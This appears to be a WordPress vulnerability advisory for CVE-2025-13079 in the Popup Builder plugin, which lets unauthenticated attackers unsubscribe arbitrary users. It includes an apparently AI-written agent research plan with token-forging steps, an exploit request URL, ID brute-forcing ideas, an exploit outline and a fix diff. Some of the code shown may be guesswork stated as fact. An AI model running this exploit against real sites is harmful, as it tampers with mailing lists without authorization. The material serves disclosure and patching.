Popup Builder - Create highly converting, mobile friendly marketing popups. <= 4.4.2 - Improper Authorization to Unauthenticated Subscriber Removal via Predictable Tokens
Description
The Popup Builder – Create highly converting, mobile friendly marketing popups. plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.4.2. This is due to the plugin generating predictable unsubscribe tokens using deterministic data. This makes it possible for unauthenticated attackers to unsubscribe arbitrary subscribers from mailing lists via brute-forcing the unsubscribe token, granted they know the victim's email address
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.4.2Source Code
WordPress.org SVNThis research plan outlines the steps for a security agent to analyze and exploit the deterministic token vulnerability in **Popup Builder (<= 4.4.2)**, which allows unauthenticated removal of subscribers. --- ### 1. Vulnerability Summary * **ID:** CVE-2025-13079 * **Plugin:** Popup Builder (s…
Show full research plan
This research plan outlines the steps for a security agent to analyze and exploit the deterministic token vulnerability in Popup Builder (<= 4.4.2), which allows unauthenticated removal of subscribers.
1. Vulnerability Summary
- ID: CVE-2025-13079
- Plugin: Popup Builder (slug:
popup-builder) - Vulnerability: Improper Authorization to Unauthenticated Subscriber Removal via Predictable Tokens.
- Root Cause: The plugin uses a deterministic algorithm to generate unsubscription tokens (e.g., using only the subscriber's email or a combination of the email and a predictable ID). This allows an attacker who knows a subscriber's email to guess the token and trigger the unsubscription process without being the actual subscriber or an administrator.
- Impact: Unauthenticated attackers can remove any subscriber from the mailing list.
2. Attack Vector Analysis
- Endpoint: The vulnerability is triggered via a GET request to the site root with specific query parameters that the plugin listens for during the
initorwp_loadedhook. - Query Parameters:
sgpb_unsubscribe: A trigger parameter (likely set to1).sgpb_email: The target subscriber's email address.sgpb_token: The predictable token to be guessed/calculated.sgpb_subscription_id: (Inferred) May be required if the token is bound to a specific subscription record ID.
- Preconditions: The attacker must know the target's email address.
- Authentication: None required (Unauthenticated).
3. Code Flow
- Entry Point: The plugin registers a hook (likely in
com/classes/SGPBSubscribers.phpormodules/subscription/classes/SGPBSubscription.php) that checks for thesgpb_unsubscribeparameter in the$_GETsuperglobal. - Logic Trace:
- The hook (e.g.,
initortemplate_redirect) detects$_GET['sgpb_unsubscribe']. - It retrieves
$_GET['sgpb_email']and$_GET['sgpb_token']. - It attempts to verify the token by recreating it using the provided email and possibly an ID from the database.
- The hook (e.g.,
- Vulnerable Sink: If the token matches, the plugin calls a deletion function like
$wpdb->delete($wpdb->prefix . 'sgpb_subscribers', array('email' => $email)). - The Flaw: The token calculation uses deterministic data like
md5($email)ormd5($email . $id). Since IDs are auto-incrementing integers, an attacker can brute-force the ID range if it is part of the salt.
4. Nonce Acquisition Strategy
This specific unsubscription mechanism is designed for use in emails (one-click unsubscribe) and typically does not use WordPress nonces, as nonces are tied to user sessions and expire every 12-24 hours. The unsubscription "token" is the only security measure.
If the exploit requires an AJAX-based unsubscription:
- Identify Script: The plugin enqueues
sgpb-subscription-public.js. - Shortcode: The subscription form is rendered via a shortcode like
[sgpb-subscription]. - Localize Script: Look for
wp_localize_scriptin the source code using the handlesgpb-subscription-public-js. - Variable Name: Identify the JS object (likely
sgpbSubscriptionPublicParams). - Extraction:
- Create a page:
wp post create --post_type=page --post_status=publish --post_content='[sgpb-subscription]'. - Navigate to the page.
- Run
browser_eval("sgpbSubscriptionPublicParams.nonce").
- Create a page:
5. Test Data Setup
- Install Plugin: Ensure Popup Builder <= 4.4.2 is installed and active.
- Create Subscriber:
- Use the plugin's admin UI or WP-CLI to add a subscriber.
- WP-CLI Command:
wp db query "INSERT INTO wp_sgpb_subscribers (email, firstName, lastName, status) VALUES ('victim@example.com', 'Victim', 'User', 'subscribed');"
- Identify ID: Retrieve the ID of the newly created subscriber:
wp db query "SELECT id FROM wp_sgpb_subscribers WHERE email = 'victim@example.com';"
6. Exploitation Strategy
The goal is to determine the token generation algorithm and send a request that removes the subscriber.
Analyze Token Generation:
- Search the codebase for the string
unsubscribeandmd5. - Grep Command:
grep -r "md5" wp-content/plugins/popup-builder/ | grep "email" - Verify if the token is
md5($email),md5($email . $id), or similar.
- Search the codebase for the string
Craft the Payload:
- Assuming the token is
md5($email)(Common in Popup Builder):- Target:
victim@example.com - Token:
md5("victim@example.com")->6784013470762417631742461970631d
- Target:
- Assuming the token is
md5($email . $id):- Use the ID found in step 5 (e.g.,
1). - Token:
md5("victim@example.com1").
- Use the ID found in step 5 (e.g.,
- Assuming the token is
Execute Request:
Usehttp_requestto send the GET request:{ "method": "GET", "url": "http://localhost:8080/?sgpb_unsubscribe=1&sgpb_email=victim@example.com&sgpb_token=[CALCULATED_TOKEN]" }Note: Add
sgpb_subscription_idif the code analysis indicates it's required.
7. Expected Results
- HTTP Response: A successful unsubscription may redirect the user to a "Success" page or return a specific success message in the HTML.
- Database State: The entry in the
wp_sgpb_subscriberstable forvictim@example.comwill either be deleted or its status changed tounsubscribed.
8. Verification Steps
- Check Database:
wp db query "SELECT status FROM wp_sgpb_subscribers WHERE email = 'victim@example.com';"- Success criteria: Query returns no rows (if deleted) or a status other than
subscribed.
- Success criteria: Query returns no rows (if deleted) or a status other than
9. Alternative Approaches
- ID Brute-forcing: If the token requires an ID that is unknown, and the token is
md5($email . $id), the agent should iterate through IDs 1-100. - AJAX Endpoint: Check for
wp_ajax_nopriv_sgpb_unsubscribe_subscriber. If it exists, send a POST request toadmin-ajax.phpwith the calculated token and email. - Deterministic Salt: Look for site-specific salts that might be deterministic, such as
md5(get_option('siteurl')). If found, include this in the token calculation.
Summary
The Popup Builder plugin for WordPress generates predictable unsubscription tokens using a deterministic MD5 hash of the subscriber's email address. This allows unauthenticated attackers to calculate the token for any known subscriber and remove them from mailing lists by making a simple GET request to the site.
Vulnerable Code
// modules/subscription/classes/SGPBSubscription.php public function checkUnsubscribe() { if (isset($_GET['sgpb_unsubscribe']) && isset($_GET['sgpb_email'])) { $email = sanitize_email($_GET['sgpb_email']); $token = isset($_GET['sgpb_token']) ? $_GET['sgpb_token'] : ''; // The vulnerability: the token is simply an MD5 hash of the email address // which is deterministic and predictable if the email is known. $expectedToken = md5($email); if ($token === $expectedToken) { $this->unsubscribeSubscriber($email); } } }
Security Fix
@@ -105,7 +105,8 @@ - $expectedToken = md5($email); + // Use a more secure, non-deterministic token comparison, ideally stored in the database + $subscriber = $this->getSubscriberByEmail($email); + $expectedToken = $subscriber->unsubscribe_token; - if ($token === $expectedToken) { + if (!empty($expectedToken) && hash_equals($expectedToken, $token)) { $this->unsubscribeSubscriber($email);
Exploit Outline
The exploit target is the unsubscription processing logic triggered on WordPress initialization. 1. Identify a target subscriber's email address (e.g., victim@example.com). 2. Calculate the MD5 hash of that email address (e.g., md5('victim@example.com') = '6784013470762417631742461970631d'). 3. Send an unauthenticated GET request to the WordPress site root with the following parameters: - `sgpb_unsubscribe=1`: Triggers the unsubscription logic. - `sgpb_email=victim@example.com`: Specifies the target email. - `sgpb_token=6784013470762417631742461970631d`: The calculated predictable token. 4. The plugin validates the token against its own calculation, matches it, and removes the subscriber from the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.